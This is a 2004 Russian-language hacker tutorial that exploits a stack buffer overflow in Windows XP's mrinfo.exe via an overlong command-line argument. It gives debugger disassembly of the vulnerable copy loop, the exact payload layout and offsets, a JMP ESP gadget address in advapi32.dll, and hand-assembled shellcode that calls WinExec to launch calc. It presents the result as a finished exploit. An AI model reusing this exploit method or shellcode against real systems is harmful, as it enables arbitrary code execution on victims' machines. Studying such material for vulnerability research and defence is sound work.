| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
Все вы конечно читали статьи о том, как работает переполнение буфера. Одно
плохо-обычно там описывается переполнение в тестовой программе.А это все-таки
не честно, т.к. знаешь где ждать подвох. А вот если бы на живой программе
попрактиковаться... Да будет так! Основы вы знаете,поэтому про переполнение я
рассказывать не буду, а покажу как это делается на реальной программе,которая
есть у каждого пользователя WindowsXP.
Наша программа - это mrinfo.exe При своем запуске она проверяет что ей
передали в коммандной строке.Тут то мы ее и поймаем!Если передать ей параметр
больше чем 56 символов - происходит классический stackoverflow.
Итак, начинаем.
Инструменты: OllyDBG, hiew
Запускаем OllyDBG, жмем F3, находим mrinfo.exe (\windows\system32\) и в поле
arguments пишем 60 символов "a". Enter. F9 (Запускаем) и видим в строке
статуса надпись:
Access violation when executing (61616161)
Оно :) Повторяем все с начала, но F9 не нажимаем. Вместо этого трассируем
программу по F8 до адреса 01001A99:
01001A90 . FF75 DC PUSH DWORD PTR SS:[EBP-24]
01001A93 . FF75 D8 PUSH DWORD PTR SS:[EBP-28]
01001A96 . FF75 D4 PUSH DWORD PTR SS:[EBP-2C]
01001A99 . E8 FFFBFFFF CALL mrinfo.0100169D <- тут жмем F7
заходим в этот CALL. Там идет инициализация программы, идем по F8 до:
01001718 |. 50 |PUSH EAX ; /Arg1 = 00262533 ASCII "aaa...aa"
01001719 |. E8 1C010000 |CALL mrinfo.0100183A ; \mrinfo.0100183A
в CALL заходим по F7 и попадаем в то самое бажное место.приведу его полностью
вместе с комментариями:
0100183A /$ 55 PUSH EBP
0100183B |. 8BEC MOV EBP,ESP
0100183D |. 83EC 34 SUB ESP,34 <- тут в стеке выделяется 52 байта
01001840 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] <- берем указатель на нашу строчку
01001843 |. 8A08 MOV CL,BYTE PTR DS:[EAX] <- берем первый символ
01001845 |. 56 PUSH ESI
01001846 |. 33F6 XOR ESI,ESI
01001848 |. 84C9 TEST CL,CL <- проверяем на ноль (конец строки)
0100184A |. 74 10 JE SHORT mrinfo.0100185C <- конец? - уходим нафиг
0100184C |. 8D55 CC LEA EDX,DWORD PTR SS:[EBP-34]
0100184F |. 2BD0 SUB EDX,EAX
01001851 |> 880C02 /MOV BYTE PTR DS:[EDX+EAX],CL <-вот оно,сохраняем символ в стеке
01001854 |. 46 |INC ESI
01001855 |. 40 |INC EAX <- увеличиваем указатели
01001856 |. 8A08 |MOV CL,BYTE PTR DS:[EAX] <- берем следующий символ
01001858 |. 84C9 |TEST CL,CL <- проверяем на конец строки
0100185A |.^75 F5 \JNZ SHORT mrinfo.01001851 <- не ноль? тогда еще один круг
0100185C |> 806435 CC 00 AND BYTE PTR SS:[EBP+ESI-34],0
01001861 |. 8D45 CC LEA EAX,DWORD PTR SS:[EBP-34]
01001864 |. 50 PUSH EAX ; /pAddr
01001865 |. FF15 3C100001 CALL DWORD PTR DS:[<&WS2_32.#11>] ; \inet_addr
0100186B |. 83F8 FF CMP EAX,-1
0100186E |. 8945 08 MOV DWORD PTR SS:[EBP+8],EAX
01001871 |. 75 30 JNZ SHORT mrinfo.010018A3
01001873 |. 8D45 CC LEA EAX,DWORD PTR SS:[EBP-34]
01001876 |. 50 PUSH EAX ;/Name
01001877 |. FF15 28100001 CALL DWORD PTR DS:[<&WS2_32.#52>] ;\gethostbyname
0100187D |. 85C0 TEST EAX,EAX
0100187F |. 74 1E JE SHORT mrinfo.0100189F
01001881 |. 0FBF48 0A MOVSX ECX,WORD PTR DS:[EAX+A]
01001885 |. 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C]
01001888 |. 8B30 MOV ESI,DWORD PTR DS:[EAX]
0100188A |. 8BC1 MOV EAX,ECX
0100188C |. 57 PUSH EDI
0100188D |. C1E9 02 SHR ECX,2
01001890 |. 8D7D 08 LEA EDI,DWORD PTR SS:[EBP+8]
01001893 |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
01001895 |. 8BC8 MOV ECX,EAX
01001897 |. 83E1 03 AND ECX,3
0100189A |. F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
0100189C |. 5F POP EDI
0100189D |. EB 04 JMP SHORT mrinfo.010018A3
0100189F |> 834D 08 FF OR DWORD PTR SS:[EBP+8],FFFFFFFF
010018A3 |> 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
010018A6 |. 5E POP ESI
010018A7 |. C9 LEAVE
010018A8 \. C2 0400 RETN 4
крутимся в этом цикле по F7 наблюдая какнаша строка подползает к адресу
06FD90 (тут хранится адрес возврата из процедуры=0100171E) и потом смотрим
как последние 4 символа "а" затирают этот адрес :) и по F8 проходим до адреса
010018A8 и смотрим на регистр ESP, он равен 0006FD90. Теперь думаем, что нам
надо. Надо нам чтоб возврат был на наш код. Возврат из процедуры забирает из
стека 4 байта (увеличивает ESP на 4) плюс ко всему это не просто возврат, а
RETN 4, т.е. он и еще 4 байта забирает. Значит имеем:
[56 символов "а"]+[4 байта адрес возврaта]+[лишние 4 байта]+[тут будет наш код]
После RETN 4 ESP будет указывать как раз на наш код (который впрочем нам еще
предстоит написать). Нужно найти где-то в памяти команду JMP ESP. Опкод этой
комманды - FF E4. Жмем Alt+m и в системных dll'ках ищем (ctrl+b). Находим
где-то в глубине advapi32.dll по адресу 77DE2740.
Все, теперь беремся за шеллкод. Т.к. с этого бага толку мало, и дабы вы сами
все попробовали то не будем заморачиваться на универсальность и сделаем все
просто -запустим cacl.exe через WinApi WinExec. Найдем адрес этой апи (Ctrl+g
вводим WinExec) и запомним его. Теперь создадим текстовый файл из 80-90
символов "а" и откроем его в hiew. Станем на 57й символ и введем 77DE2740 (в
обратном порядке ессесно - 4027DE77). Пропустим 4 байта. Итак, апи WinExec
требует для своей работы 2 параметра в стеке - адрес строки (что выполнить) и
как выполнить (видимо или невидимо).Начинаем делать,избегая нулевых символов.
00000040: 33DB xor ebx,ebx ;делаем 0 в ebx
00000042: 53 push ebx ;в стек этот 0
00000043: 6863616C63 push 0636C6163 ;clac - перевернутый calc
00000048: 54 push esp ;в стек содержимое esp
00000049: 43 inc ebx ;увеличиваем ebx на 1
0000004A: 53 push ebx ;в стек его
0000004B: 684D11867C push 07C86114D ;адрес Api WinExec
00000050: C3 retn ;возврат по последнему адресу
Работает этот код просто:сначала в регистре ebx получаем 0 и заталкиваем этот
0 в стек. По адресу на который указывает esp записывается этот 0 (4 байта) и
esp уменьшается на 4. Это надо для того, чтоб строка "calc" заканчивалась
нулем, иначе WinExec будет считать ее неправильной. Потом в стек заталкиваем
636C6163, он будет как раз перед нулями, которые мы туда затолкнули до этого.
Т.к. полсе последней комманды push регистр esp уменьшился на 4 и длина calc
тоже 4, то esp как раз указывает на строку "calc"+"0", поэтому esp мы тоже в
стек отправляем. Потом в ebx получаем 1 (параметр для WinExec, который
обозначает,что мы хотим увидеть то что запустим,он же - visible) и отправляем
в стек. Последние наши действия - засунем в стек адрес WinExec и сделаем ret
(который как известно берет адресс из стека и уменьшает его на этот адрес)
Все, сохраняем (F9).тепрь надо все это запустить.Для этого напишем маленикий
скрипт, который будет вызывать mrinfo.exe с нашими параметрами - /files/shell.vbs
Все! :) Вот и готов наш первый sUp3r-m3g4-l33t-0day-spl01t.
(c) dMNt//KoN 2004
|
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |